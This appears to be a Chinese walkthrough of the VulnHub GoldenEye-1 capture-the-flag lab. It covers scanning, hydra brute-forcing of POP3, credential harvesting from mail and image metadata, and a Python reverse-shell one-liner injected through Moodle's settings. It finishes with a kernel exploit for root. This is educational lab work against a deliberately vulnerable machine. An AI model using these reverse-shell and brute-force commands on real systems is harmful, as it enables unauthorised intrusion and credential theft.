一、靶机地址:
1.https://www.vulnhub.com/entry/goldeneye-1,240/
2.下载镜像直接用VMware打开即可。
二、实验环境:
1.攻击机:kali IP:192.168.31.128
2.靶机:IP 192.168.31.132
三、要求:
1.拿到root权限找到flag.txt
四、复现
1、探测存活主机
2、使用命令:nmap -sP 192.168.31.0/24
3、或者使用netdiscover获取目标IP地址
4、探测开放的端口
5、命令:nmap -sS -sV -A -p- 192.168.31.132
图片中开放了4个端口,尝试80端口
6、访问80页面出现/sev-home/ to login 访问看看,会看到页面上需要身份验证,我们继续查看
7、在查看页面代码时 有个名为terminal.is的JavaScript的文件 好奇访问了一下
8、出现个页面第一个红方块是访问/sev-home/出现的
英文不是很好第二个意思大概是这是编码是关于密码的编码
Boris 确保你更新默认密码
Natalya 说她能破解你的密码
9、这个编码是html编码所以网上搜索html解码:InvincibleHack3r
10、我们已经解码了密码:InvincibleHack3r,上面已经找到了有效的用户名,尝试下使用用户名密码登陆
11、我们成功登陆GoldenEye应用程序,继续找有用的信息,通过这个标签我们知道pop3服务运行在某一默认端口,所以通过之前的nmap扫描端口知道pop3在55006、55007其中一个挨个访问吧。
12、55006被重置55007可以访问到。
13、回到分析“ terminal.js”的HTML内容时用户名Boris 确保你更新默认密码,通过hydra暴力破解pop3服务
使用命令:echo -e ‘natalyanboris’ > lj.txt(创建文本包含两个用户名)
hydra -L lj.txt -P /usr/share/wordlists/fasttrack.txt 192.168.31.132 -s 55007 pop3(以文本内容使用hydra攻击)成功爆破出来
用户:boris 密码:secret1!
用户:natalya 密码:bird
14、登录pop3服务使用Netcat实用程序通过pop3端口并使用用户“ boris、natalya”凭据登录到目标服务器邮箱中。
15、第一封邮件指出root用户没有扫描邮件的安全风险没有用。
16、第二封邮件封来自用户“ natalya”,称她可以破坏鲍里斯的密码。
17、第三封邮件可以看出有一份文件用了GoldenEye的访问代码作为附件进行发送,并保留在根目录中。但我们无法从此处阅读附件。现在使用natalya用户登录看看有什么有用的信息
18、我们可以看到目标计算机上的root用户有一封电子邮件。让我们检查第二封电子邮件。
19、在第二封邮件看到了另外一个用户名密码,此服务器域名和网站,还要求我们在本地服务hosts中添加域名信息:
用户名:xenia
密码:RCP90rulez!
域:severnaya-station.com
网址:severnaya-station.com/gnocertdir
我们根据邮件提示添加本地域名:severnaya-station.com
20、在上面的屏幕截图中,我们可以看到URL已成功添加到目标计算机上。因此,让我们在浏览器中打开此URL
21、点击intro to GoldenEye需要输入账号密码在natalya第二封邮件有账号密码 我们尝试登录
登陆进来看了看,发现有一封邮件,内容发现用户名doak 继续使用hydra攻击
用户名:doak
密码:goat
hydra已成功破解了用户doak的密码,使用账号密码继续登陆pop3邮件。
22、邮件消息说,为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。
用户名:dr_doak
密码:4England!
使用新的账户密码登录CMS
23、点击Dr Doak将爆破出来的账号密码进行登录
24、进来一看发现/dir007key/for-007.jpg
现在我们查看文件的内容,指出管理员凭据已隐藏在映像文件中,让我们在浏览器中打开图像以查看其内容。
25、可以使用浏览器下载,也可以使用命令:wget http://severnaya-station.com/dir007key/for-007.jpg下载到本地。
根据邮件提示让我们检查图片内容,下载图片后,我们可以使用binwalk(路由逆向分析工具)、exiftool(图
虫)、strings(识别动态库版本指令)等查看jpg文件底层内容。
26、用exiftool解析得到Image Description : eFdpbnRlcjE5OTV4IQ==
显示的是base-64编码的字符串(两个等号表示它是base-64编码的字符串)。基数为64的编码字符串如下所示:
27、到网上搜索base-64编码解密,获得密码:xWinter1995x!
线索中说,这是管理员用户的密码。管理员用户身份继续登陆应用程序。
用户名:admin
密码:xWinter1995x!
28、图片红框显示和我前面使用dr_doak用户登陆邮箱发现的结果一致,这是
Moodle使用的2.2.3版本,获得版本名称后,我搜索网上的可用漏洞,发现不行换一个方式
getshell
1、由于我们已经使用了管理员admin用户登录页面,可以进行网站管理,在页面中找到了Site administration-Server- System paths
网站管理系统路径,发现可以上传代码使用Python代码,进行反弹shell
使用代码:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.128",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
使用python对本地1234端口上传一个shell,我们需要在本地开启端口1234
开启本地监听端口,回到管理员用户页面
需要找到一个能发送数据包出去的地方,这里找到了能发送邮件的地方,随意填写一些文字即可,点击Toggle
spellchecker进行发送shell到本地。
获得了一个shell权限
使用python获得的shell权限后,得使用ptyhon获得pty,使用命令
python -c 'import pty; pty.spawn("/bin/bash")'
当我运行id命令时,它表明该用户不是root用户,这是www-data的低特权用户
提权
kali查找可用提权方式
使用命令:searchsploit ubuntu 3.13
找到kali中的文件,放到本地
由于前面说过靶机未安装gcc编译,只能用cc编译,需要修改37292.c编译。
Python开启服务
用cc编译,赋予可执行权限后,运行exp。
./exp 去执行
得到root权限&找到flag.txt
本文始发于微信公众号(LSCteam):VulnHub-GoldenEye-1-Walkthrough
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论